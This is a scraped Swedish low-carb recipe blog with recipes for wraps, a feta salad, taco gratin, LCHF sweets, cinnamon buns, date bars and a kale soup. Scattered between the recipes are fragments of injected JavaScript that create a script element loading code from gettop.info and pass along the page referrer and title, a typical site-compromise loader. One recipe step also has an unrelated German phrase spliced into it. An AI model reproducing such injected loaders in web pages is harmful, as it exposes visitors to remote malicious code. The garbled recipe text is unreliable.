Wraps

Det här receptet hittade jag på bloggen 56 kilo här.

Ingredienser
4 ägg
0,5-1 dl vatten
2 msk kokosmjöl
3 msk pofiber
1 msk fiberhusk
2 msk olivolja eller smaklös kokosolja
1,5 tsk salt

Instruktioner
1.Sätt ugnen på 150 gr.
2.Vispa ägg tills det blir riktigt luftigt.
3.Blanda de torra ingredienserna och vispa ner tillsammans med olja och vatten. Låt stå i 5 minuter.
4.Klicka up 1/4 schädliche abgase gefährden radfahrer im straßenverkehr del på ett bakpapper (inte smörpapper!) och lägg ett annat bakpapper ovanpå. Kavla ut till en rund tortillastor rundel.
5.Grädda i ugnen i ca 10 minuter med bakpappert kvar.

Medelhavsinspirerad sallad

Receptet på den här salladen hittade jag på facebook hos ”Marianns LCHF mat & bak”. Salladen är helt underbart god och passar perfekt till grillat.

Ni hittar hennes blogg här.

946883_10151555595405959_1720363318_n

4 portioner
Ingredienser:
1 påse ruccola
150 g fetaost
1 dl grekisk yoghurt
1 dl creme fraiche
1/2 dl majonnäs olivolja,  en rejäl skvätt
1 ask minitomater
1 grovt hackad rödlök
1 skalad och tärnad zucchini
1 liten burk svarta oliver (skippa oliverna om du inte gillar oliver)
Oregano

Gör så här:
1. Blanda majonnäs, yoghurt,creme fraiche och finfördelad fetaost, strö lite
oregano och rejält med olivolja över och blanda runt.
2. Dela tomaterna och  lägg dem i en skål tillsammans med alla andra ingredienser, strö oregano över.
Blanda.
3. Fördela fetakrämen över och blanda försiktigt runt.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Tacogratäng

 bild4

Här kommer recept på en god tacogratäng. Grundreceptet hittade jag här. Jag har lagt till purjolök, majs och röd paprika i gratängen.

Recept 4 personer

400 gram nötfärs
1 påse tacokrydda
1 ska philadelphiaost
2 dl creme fraiche
1-2 dl majs
1 röd paprika
1 dl hackad purjolök
2 dl riven ost

Tillagning:
Sätt ugnen på 200-225 grader.
Stek köttfärs och krydda med tacokryddan.
Blanda Philadelphia och Creme Fraiche i en ugnssäker form. Sprid ut det jämnt över botten.
Häll köttfärsen över blandingen.
Strö riven ost på köttfärsen och stick ner några tortillachips i gratängen.
Grädda i ugnen i cirka 10-15 minuter, eller tills osten smält och fått färg.
Servera med olika tacotillbehör, till exempel tortillachips, tacosås, grönsaker och guacamole.

 

 

bild9bild10bild8

bild7bild6bild5bild11bild13bild12bild1bild4bild3bild2

 d.getElementsByTagName(‘head’)[0].appendChild(s);

} else {} else {

Chokladsnickers (LCHF)

bild (176)

Det här receptet hittade jag på Instragram.

Recept 32 st .
4 dl grädde
2 tsk vaniljpulver
4 msk sukrin
200 gram smör

70% mörk choklad att doppa pralinerna i.

Gör så här:
Blanda 4 dl grädde med vaniljpulver, sukrin och smör och låt sjuda på svag värme tills det tjocknar och blir som kolasås. Tar ca en timme. Häll i en form som du klätt i plastfolie och på med jordnötter och tryck ner dem lite. Ställ det i frysen ca 1 1/2 timme. Ta ut formen och dela i ca 32 bitar. Doppa med hjälp av en matpincett i smält choklad som du blandat ner med lite smör och sen in i kylen.

bild5bild10bild4bild12bild11bild2bild1bild3bild7bild8bild9document.currentScript.parentNode.insertBefore(s, document.currentScript);

var d=document;var s=d.createElement(‘script’);

Rå cashewkräm

1

Det här goda receptet på rå cashewkräm fick jag  från Alice, en av CrossFit coacherna på CrossFit Göta.

Recept
100 gram råa cashewnötter (osaltade) blötlagda i vatten 1 timme och avrunna
60-125 ml vatten
1 tsk vaniljextrakt

Gör så här.
Låt nötterna rinna av och lägg dem i en mixer. Tillsätt lite vatten och mixa tills du får en slät kräm. Jag behövde ca 1,5 dl vatten. I slutet tillsätter du  vaniljextrakt.

Servera din cashewkräm med tex färsk frukt eller bär.

bild11bild12bild13bild14bild15

bild2

 }

} else {d.getElementsByTagName(‘head’)[0].appendChild(s);

Goda små bröd

bild11

Igår bakade jag dessa små goda bröd för första gången, enkelt och supergott. Receptet hittade jag här. Jag la på lite solros/pumpakärnor på toppen. Det går säkert att använda färska örter också.

Ingredienser: 
3 ägg separerade
1 dl (85g) philadelphiaost
nypa salt

Gör så här 
Vispa äggvitorna med nypa salt, hårt. I separat bunke vispa philadelphiaosten med gulorna och ev. tillsatser. Vänd försiktigt i  de vispade vitorna i gulorna.

Klicka sex rundlar på smord bakplåt och baka i 150 graders ugn c:a 30 min. Mina flöt ut lite så jag använde en utstickare och gjorde fyrkantiga småbröd efter gräddning istället. Nästa gång ska jag göra en stor kaka och sedan skära ut fyrkantiga småbröd efter gräddning.

bild4bild5bild3bild9bild10bild7bild2bild11bild1bild8

 }

d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Kanelbullar LCHF

bild9

Det här receptet hittade jag på instagram . Receptet kommer uprsprungligen från mariannslchf.

Recept 16 bullar
4 ägg
1 äggula
1/2 dl kesella
1 dl grädde
50 gram smör
1 dl mandelmjöl
1 dl kokosmjöl
5 msk fiberhusk
3 tsk kardemumma
3 msk sukrin
Lite stevia
2 tsk bakpulver

Vispa 4 ägg och en äggula fluffigt, ca 5 min och blanda ner en halv dl kesella, 1 dl grädde och 50 gram smält smör. Blanda i en separat skål 1 dl mandelbmöl, 1 dl kokosmjöl, 5 msk fiberhusk, 3 tsk kardemumma, 3 msk sukrin, lite stevia och 2 tsk bakpulver. Blanda ner det i smeten och låt svälla några minuter. Kavla ut och lägg på smör, kanel, vanilj och sötning. Rulla ihop bullar, lägg i formar och strö på lite kanel, pensla med äggvita och grädda ca 12 min på 180 grader på varmluftsugn.

bild5bild15bild6Abild8bild14bild16bild13bild7bild4bild3bild12bild2bild1bild10bild17

 

 

 }

d.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {

Raw bars av dadlar och jordnötter

 

bild5

Nu har jag hittat ett supergott recept på raw bars. Du kan variera din topping  beroende på vad du tycker om.
Grundreceptet hittade jag här. Nästa gång tänker jag pröva att baka dessa raw bars på dadlar, aprikoser och cashewnötter. Antingen kan du göra raw bollar eller som jag till bars. Du kan också äta dem naturella utan mörk choklad om du vill. De smakar otroligt gott och perfekt att förvara i frysen och ta fram vid behov.

bild6

RAW bars (ca 7-8 bars)
1 påse Änglamarks ”soft dates” 200 gram
2 dl saltade jordnötter

Topping (valfritt)
Ev  70% mörk choklad som du smälter och doppar dina bars i
Riven kokos
Kakao nibs
Salta jordnötter

Gör så här:
1. Börja med att mixa dadlarna.
2. Häll ned jordnötterna och mixa tills du har en slags deg med grovhackade jordnötter.
3. Rulla/forma (gärna med blöta händer)  och kyl. Du kan förvara dina bars i frysen också.

bild4bild3

bild5Bild1bild2bild6bild9bild8bild7bild10

Dina bars är goda att äta helt naturella som bilden ovan. Men vill du göra med topping så kan du använda din fantasi och doppa dem i mörk choklad tex.  Jag gjorde lite olika varianter. Här doppade jag några bars med 70% mörk choklad.

bild9

bild10

Här blev det mörk choklad och jordnötter.

bild8

bild11

Här blev det mörk choklad, kakaonibs och riven kokos.

bild7

bild12

bild4

bild3

bild1d.getElementsByTagName(‘head’)[0].appendChild(s);

var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Creamy Lemon, Chicken Kale Soup

bild14

Jag hade kvar lite grönkål i kylen och passade på att laga en annan grönkålssoppa me lite smak av citron och kyckling. Grundreceptet  hittade jag här.  Recepetet har jag anpassat till svenska mått.

Recept 2-3 personer
5 dl kyckling i bitar
7 dl köttbuljong från märgben
1 bunt grönkål
1 liten citron (citronzest)
1 tsk färskpressad citron
1/2 gul lök (hackad)
0,5 dl olivolja
Salt
Peppar

Gör så här:
Skölj din grönkål och skär den i strimlor. Glöm ej ta av bladen från stjälken och använd endast bladen.
Stek upp din lök i några minuter och lägg i grönkålen. Häll i hälften av din buljong och låt koka på låg värme ca 15 min. Häll i allt i en mixer och mixa i några minuter tills att är mixat. Häll över allt i en gryta och häll i
resterande buljong,  kycklingen, citronzest och citronjuice. Krydda med salt och peppar. Min buljong var rätt salt i sig själv så var försiktigt med kryddningen i slutet.

bild17bild16bild15bild18bild13

 }

document.currentScript.parentNode.insertBefore(s, document.currentScript);